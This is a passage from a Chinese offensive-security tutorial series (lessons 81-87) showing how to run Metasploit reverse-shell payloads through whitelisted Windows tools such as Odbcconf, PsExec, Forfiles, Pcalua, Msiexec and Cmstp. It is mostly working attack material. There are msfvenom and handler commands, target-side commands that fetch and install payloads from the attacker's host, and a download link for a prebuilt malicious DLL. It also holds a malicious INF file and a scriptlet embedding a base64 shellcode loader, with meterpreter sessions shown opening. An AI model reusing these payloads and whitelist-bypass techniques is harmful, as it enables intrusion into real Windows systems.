al.Add(undefined); 144. varo=d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); 145. }catch(e){ 146. debug(e.message); 147. } 148. 149. ]]> 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -534- 本文档使用书栈(BookStack.CN)构建 150. </script> 151. 152. </component> 153. </package> Micropoor 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -535- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据源。 微软官方文档: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 说明:Odbcconf.exe所在路径已被系统添加PATH环境变量中,因此,Odbcconf命令可识别,需注意 x86,x64位的Odbcconf调用。 Windows2003默认位置: 1. C:\WINDOWS\system32\odbcconf.exe 2. C:\WINDOWS\SysWOW64\odbcconf.exe` 3. 4. Windows7默认位置: 5. `C:\Windows\System32\odbcconf.exe 6. C:\Windows\SysWOW64\odbcconf.exe 攻击机: 192.168.1.4Debian 靶机: 192.168.1.119Windows2003 192.168.1.5Windows7 注:x86payload 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription Odbcconf简介: 配置攻击机msf: 第八十二课:基于白名单Odbcconf执行payload第十二季 -536- 本文档使用书栈(BookStack.CN)构建 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. 22. ‐‐‐‐‐‐ 23. 0WildcardTarget 24. 25. msfexploit(multi/handler)>exploit 26. 27. [*]StartedreverseTCPhandleron192.168.1.4:53 注:文中为了更好的跨Windows03—Windows2016,Odbcconffordll采纯C重新编写。 靶机执行:Windows2003 第八十二课:基于白名单Odbcconf执行payload第十二季 -537- 本文档使用书栈(BookStack.CN)构建 1. C:\Windows\SysWOW64\odbcconf.exe/a{regsvrC:\Micropoor_Odbcconf.dll} 注:x64Odbcconf.exe Micropoor_Odbcconf.dll,已测Windows2003x64Windows7x64 注: 功能:reverse_tcpIP:192.168.1.4PORT:53。如有安全软件拦截,因Micropoor加入特征。 大小:73216字节 修改时间:2019年1月19日,21:29:11 MD5:B31B971F01DE32EC5EC45746BF3DDAD2 SHA1:CF42E4BF5A613992B7A563A522BBEBF1D0F06CCECRC32:28A1CE90 https://drive.google.com/open?id=1j12W7VOhv_-NdnZpFhWLwdt8sQwxdAsk 附: 第八十二课:基于白名单Odbcconf执行payload第十二季 -538- 本文档使用书栈(BookStack.CN)构建 Micropoor 第八十二课:基于白名单Odbcconf执行payload第十二季 -539- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种 轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动 安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。 微软官方文档: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec 说明:PsExec.exe没有默认安装在windows系统。 攻击机:192.168.1.4Debian 靶机:192.168.1.119Windows2003 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. PsExec简介: 配置攻击机msf: 第八十三课:基于白名单PsExec执行payload第十三季 -540- 本文档使用书栈(BookStack.CN)构建 24. msfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 1. PsExec.exe-d-smsiexec.exe/q/i <http://192.168.1.4/Micropoor_rev_x86_msi_53.txt> 靶机执行: 第八十三课:基于白名单PsExec执行payload第十三季 -541- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. 5. [*]Sendingstage(179779bytes)to192.168.1.119 6. 7. [*]Meterpretersession11opened(192.168.1.4:53‐>192.168.1.119:131)at 2019‐01‐2005:43:32‐0500 8. 9. meterpreter>getuid 10. 11. Serverusername:NTAUTHORITY\SYSTEM 12. 13. meterpreter>getpid 14. 15. Currentpid:728 16. 17. meterpreter> Micropoor 第八十三课:基于白名单PsExec执行payload第十三季 -542- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常 与批处理配合使用。 微软官方文档: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows- server-2012-R2-and-2012/cc753551(v=ws.11) 说明:Forfiles.exe所在路径已被系统添加PATH环境变量中,因此,Forfiles命令可识别,需注意 x86,x64位的Forfiles调用。 Windows2003默认位置: C:\WINDOWS\system32\forfiles.exeC:\WINDOWS\SysWOW64\forfiles.exe Windows7默认位置: C:\WINDOWS\system32\forfiles.exeC:\WINDOWS\SysWOW64\forfiles.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.119Windows2003 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. 13. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 14. 15. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 16. 17. LPORT53yesThelistenport Forfiles简介: 配置攻击机msf: 第八十四课:基于白名单Forfiles执行payload第十四季 -543- 本文档使用书栈(BookStack.CN)构建 18. 19. Exploittarget: 20. 21. IdName 22. ‐‐‐‐‐‐ 23. 0WildcardTarget 24. 25. msfexploit(multi/handler)>exploit 26. 27. [*]StartedreverseTCPhandleron192.168.1.4:53 靶机执行:Windows2003 第八十四课:基于白名单Forfiles执行payload第十四季 -544- 本文档使用书栈(BookStack.CN)构建 1. forfiles/pc:\windows\system32/mcmd.exe/c"msiexec.exe/q/i http://192.168.1.4/Micropoor_rev_x86_msi_53.txt" 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. [*]Sendingstage(179779bytes)to192.168.1.119 5. [*]Meterpretersession15opened(192.168.1.4:53‐>192.168.1.119:133 6. 1)at2019‐01‐2006:34:08‐0500 7. meterpreter>getuid 8. Serverusername:WIN03X64\Administrator 9. meterpreter>getpid 10. Currentpid:392 11. meterpreter> Micropoor 第八十四课:基于白名单Forfiles执行payload第十四季 -545- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Windows进程兼容性助理(ProgramCompatibilityAssistant)的一个组件。 说明:Pcalua.exe所在路径已被系统添加PATH环境变量中,因此,Pcalua命令可识别 Windows7默认位置: 1. C:\Windows\System32\pcalua.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.5Windows7 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. msfexploit(multi/handler)>exploit Pcalua简介: 配置攻击机msf: 第八十五课:基于白名单Pcalua执行payload第十五季 -546- 本文档使用书栈(BookStack.CN)构建 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 1. Pcalua-m-a\\192.168.1.119\share\rev_x86_53_exe.exe 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. [*]Sendingstage(179779bytes)to192.168.1.5 5. [*]Meterpretersession23opened(192.168.1.4:53‐>192.168.1.5:11349) 6. at2019‐01‐2009:25:01‐0500 7. meterpreter>getuid 8. Serverusername:John‐PC\John 9. meterpreter>getpid 10. Currentpid:11236 11. meterpreter> 靶机执行: 第八十五课:基于白名单Pcalua执行payload第十五季 -547- 本文档使用书栈(BookStack.CN)构建 Micropoor 第八十五课:基于白名单Pcalua执行payload第十五季 -548- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,身体特别重要。 本季补充本地DLL加载 Msiexec简介: Msiexec是WindowsInstaller的一部分。用于安装WindowsInstaller安装包(MSI),一般在 运行MicrosoftUpdate安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows2003,Windows7等。 说明:Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。 注:x64payload 1. msfvenom‐pwindows/x64/shell/reverse_tcpLHOST=192.168.1.4LPORT=53‐fdll> Micropoor_rev_x64_53.dll 注:x64payload 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/x64/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 基于白名单Msiexec.exe配置payload: 配置攻击机msf: 第八十六课:基于白名单Msiexec执行payload第八季补充 -549- 本文档使用书栈(BookStack.CN)构建 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. msfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 1. msiexec/yC:\Users\John\Desktop\Micropoor_rev_x64_dll.dll 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. 5. [*]Sendingstage(206403bytes)to192.168.1.5 6. 7. [*]Meterpretersession26opened(192.168.1.4:53‐>192.168.1.5:11543) 8. at2019‐01‐2009:45:51‐0500 靶机执行: 第八十六课:基于白名单Msiexec执行payload第八季补充 -550- 本文档使用书栈(BookStack.CN)构建 9. 10. meterpreter>getuid 11. 12. Serverusername:John‐PC\John 13. 14. meterpreter>getpid 15. 16. Currentpid:7672 17. 18. meterpreter> Micropoor 第八十六课:基于白名单Msiexec执行payload第八季补充 -551- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则cmstp会使用对 应于操作系统和用户的权限的默认设置来安装服务配置文件。 微软官方文档: https://docs.microsoft.com/en-us/windows-server/administration/windows- commands/cmstp 说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需注意x86, x64位的Cmstp调用。 Windows2003默认位置: 1. C:\Windows\System32\cmstp.exe 2. C:\Windows\SysWOW64\cmstp.exe Windows7默认位置: 1. C:\Windows\System32\cmstp.exe 2. C:\Windows\SysWOW64\cmstp.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.119Windows7 注:x64payload 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/x64/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription Cmstp简介: 配置攻击机msf: 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -552- 本文档使用书栈(BookStack.CN)构建 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. emsfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 1. cmstp.exe/ni/sC:\Users\John\Desktop\rev.inf 靶机执行: 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -553- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. 5. [*]Sendingstage(206403bytes)to192.168.1.5 6. 7. [*]Meterpretersession9opened(192.168.1.4:53‐>192.168.1.5:13220) 8. at2019‐01‐2012:08:52‐0500 9. 10. meterpreter>getuid 11. 12. Serverusername:John‐PC\John 13. 14. meterpreter>getpid 15. 16. Currentpid:8632 17. 18. meterpreter> Micropoor_rev_cmstp_inf: 1. [version] 2. 3. Signature=$chicago$ 4. 注:x64payload 附录: 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -554- 本文档使用书栈(BookStack.CN)构建 5. AdvancedINF=2.5 6. 7. [DefaultInstall_SingleUser] 8. 9. UnRegisterOCXs=UnRegisterOCXSection 10. 11. [UnRegisterOCXSection] 12. 13. %11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct 14. 15. [Strings] 16. 17. AppAct="SOFTWARE\Microsoft\ConnectionManager" 18. 19. ServiceName="Micropoor" 20. 21. ShortSvcName="Micropoor" cmstp_rev_53_x64.sct 1. <?XMLversion="1.0"?> 2. <scriptlet> 3. <registration 4. progid="PoC" 5. classid="{F0001111‐0000‐0000‐0000‐0000FEEDACDC}"> 6. 7. <scriptlanguage="JScript"> 8. 9. <![CDATA[ 10. 11. functionsetversion(){ 12. } 13. functiondebug(s){} 14. functionbase64ToStream(b){ 15. 16. varenc=newActiveXObject("System.Text.ASCIIEncoding"); 17. varlength=enc.GetByteCount_2(b); 18. varba=enc.GetBytes_4(b); 19. vartransform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); 20. ba=transform.TransformFinalBlock(ba,0,length); 21. varms=newActiveXObject("System.IO.MemoryStream"); 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -555- 本文档使用书栈(BookStack.CN)构建 22. ms.Write(ba,0,(length/4)*3); 23. ms.Position=0; 24. returnms; 25. } 26. 27. varserialized_obj="AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdh 28. dGVTZXJpYWxpemF0aW9uSG9sZGVy"+ 29. "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ 30. "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ 31. "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ 32. "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ 33. "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ 34. "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ 35. "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ 36. "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ 37. "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ 38. "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ 39. "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ 40. "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ 41. "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ 42. "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ 43. "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ 44. "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ 45. "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ 46. "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ 47. "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ 48. "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ 49. "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABIAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ 50. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ 51. "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABkhgIAYaVEXAAAAAAA"+ 52. "AAAA8AAiIAsCCwAADAAAAAQAAAAAAAAAAAAAACAAAAAAAIABAAAAACAAAAACAAAEAAAAAAAAAAQA"+ 53. "AAAAAAAAAGAAAAACAAAAAAAAAwBAhQAAQAAAAAAAAEAAAAAAAAAAABAAAAAAAAAgAAAAAAAAAAAA"+ 54. "ABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 55. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 56. "AAAAACAAAEgAAAAAAAAAAAAAAC50ZXh0AAAATAoAAAAgAAAADAAAAAIAAAAAAAAAAAAAAAAAACAA"+ 57. "AGAucnNyYwAAAJgCAAAAQAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAAAAAAAGAA"+ 58. "AAAAAAAAEgAAAAAAAAAAAAAAAAAAQAAAQkgAAAACAAUA7CIAAGAHAAABAAAAAAAAAAAAAAAAAAAA"+ 59. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+ 60. "KAIAAAYAACoAAAAAAAAA/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pK"+ 61. "TTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0"+ 62. "Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhE"+ 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -556- 本文档使用书栈(BookStack.CN)构建 63. "i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS///"+ 64. "/11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAA1wKgBBEFUSYnkTInxQbpMdyYH/9VMiepo"+ 65. "AQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ"+ 66. "+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8Qg"+ 67. "Xon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gA"+ 68. "fShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dY"+ 69. "agBZScfC8LWiVv/VAAATMAYAZQAAAAEAABEAIP4BAACNBgAAASXQAwAABCgGAAAKChYGjml+AQAA"+ 70. "BH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMoBAAA"+ 71. "BgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMx"+ 72. "OQAAAAAFAGwAAABgAgAAI34AAMwCAABIAwAAI1N0cmluZ3MAAAAAFAYAAAgAAAAjVVMAHAYAABAA"+ 73. "AAAjR1VJRAAAACwGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAADwAA"+ 74. "AAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAABAAAA"+ 75. "AQAAAAAACgABAAAAAAAGAD0ANgAGAE0BMQEGAGkBMQEGAJgBeAEGALgBeAEGANsBNgAGACUCeAEG"+ 76. "AEACNgAGAHwCeAEGAIsCNgAGAJECNgAGALQCNgAGAOYCxwIGAPgCxwIGACsDGwMAAAAAAQAAAAAA"+ 77. "AQABAAEAEAATABsABQABAAEAAAAAAOABAAAFAAMABwATAQAASgIAACEABAAHABEATwASABEAWgAS"+ 78. "ABMBaAI+AFAgAAAAAIYYRAAKAAEAaCIAAAAAkQBKAA4AAQAAAAAAgACRIHEAFQABAAAAAACAAJEg"+ 79. "fgAdAAUAAAAAAIAAkSCLACgACwDZIgAAAACRGBQDDgANAAAAAQCfAAAAAgCrAAAAAwCwAAAABADB"+ 80. "AAAAAQDLAAAAAgDeAAAAAwDqAAAABAD5AAAABQD/AAAABgAPAQAAAQAaAQAAAgAiAREARAAuACEA"+ 81. "RAA0ACkARAAKAAkARAAKADkARAAKAEkApAJCAGEAuwJKAGkA7gJPAGEA8wJYAHEARABkAHkARAAK"+ 82. "ACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEA/gEAAAQAWwALAwABBwBxAAEAAAEJAH4A"+ 83. "AQAAAQsAiwABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAANYBAAAEAAAAAAAAAAAAAAABAC0AAAAA"+ 84. "AAQAAwAAAAA8TW9kdWxlPgAyMjIyLmRsbABQcm9ncmFtAFNoZWxsQ29kZUxhdW5jaGVyAG1zY29y"+ 85. "bGliAFN5c3RlbQBPYmplY3QALmN0b3IATWFpbgBNRU1fQ09NTUlUAFBBR0VfRVhFQ1VURV9SRUFE"+ 86. "V1JJVEUAVmlydHVhbEFsbG9jAENyZWF0ZVRocmVhZABXYWl0Rm9yU2luZ2xlT2JqZWN0AGxwU3Rh"+ 87. "cnRBZGRyAHNpemUAZmxBbGxvY2F0aW9uVHlwZQBmbFByb3RlY3QAbHBUaHJlYWRBdHRyaWJ1dGVz"+ 88. "AGR3U3RhY2tTaXplAGxwU3RhcnRBZGRyZXNzAHBhcmFtAGR3Q3JlYXRpb25GbGFncwBscFRocmVh"+ 89. "ZElkAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zAFNl"+ 90. "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBTZWN1cml0eUFjdGlvbgBTeXN0ZW0uUnVudGltZS5D"+ 91. "b21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNv"+ 92. "bXBhdGliaWxpdHlBdHRyaWJ1dGUAMjIyMgBCeXRlADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRh"+ 93. "aWxzPntBODMyQkQ0MS1EQjgyLTQ0NzEtOEMxRC1BMDlBNDFCQjAzRER9AENvbXBpbGVyR2VuZXJh"+ 94. "dGVkQXR0cmlidXRlAFZhbHVlVHlwZQBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTUxMAAkJG1l"+ 95. "dGhvZDB4NjAwMDAwMi0xAFJ1bnRpbWVIZWxwZXJzAEFycmF5AFJ1bnRpbWVGaWVsZEhhbmRsZQBJ"+ 96. "bml0aWFsaXplQXJyYXkASW50UHRyAG9wX0V4cGxpY2l0AFN5c3RlbS5SdW50aW1lLkludGVyb3BT"+ 97. "ZXJ2aWNlcwBNYXJzaGFsAENvcHkAWmVybwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIALmNj"+ 98. "dG9yAFN5c3RlbS5TZWN1cml0eQBVbnZlcmlmaWFibGVDb2RlQXR0cmlidXRlAAAAAAADIAAAAAAA"+ 99. "Qb0yqILbcUSMHaCaQbsD3QAIt3pcVhk04IkDIAABAwAAAQIGCQcABAkJCQkJCgAGGAkJCRgJEAkF"+ 100. "AAIJGAkFIAEBEQ0EIAEBCAQBAAAAAwYREAcAAgESKREtBAABGAoIAAQBHQUIGAgCBhgIBwUdBQkY"+ 101. "CRgEIAEBDggBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwGAni4BgIRTeXN0"+ 102. "ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMuU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlLCBtc2Nv"+ 103. "cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3"+ 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -557- 本文档使用书栈(BookStack.CN)构建 104. "N2E1YzU2MTkzNGUwODkVAVQCEFNraXBWZXJpZmljYXRpb24BAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 105. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 106. 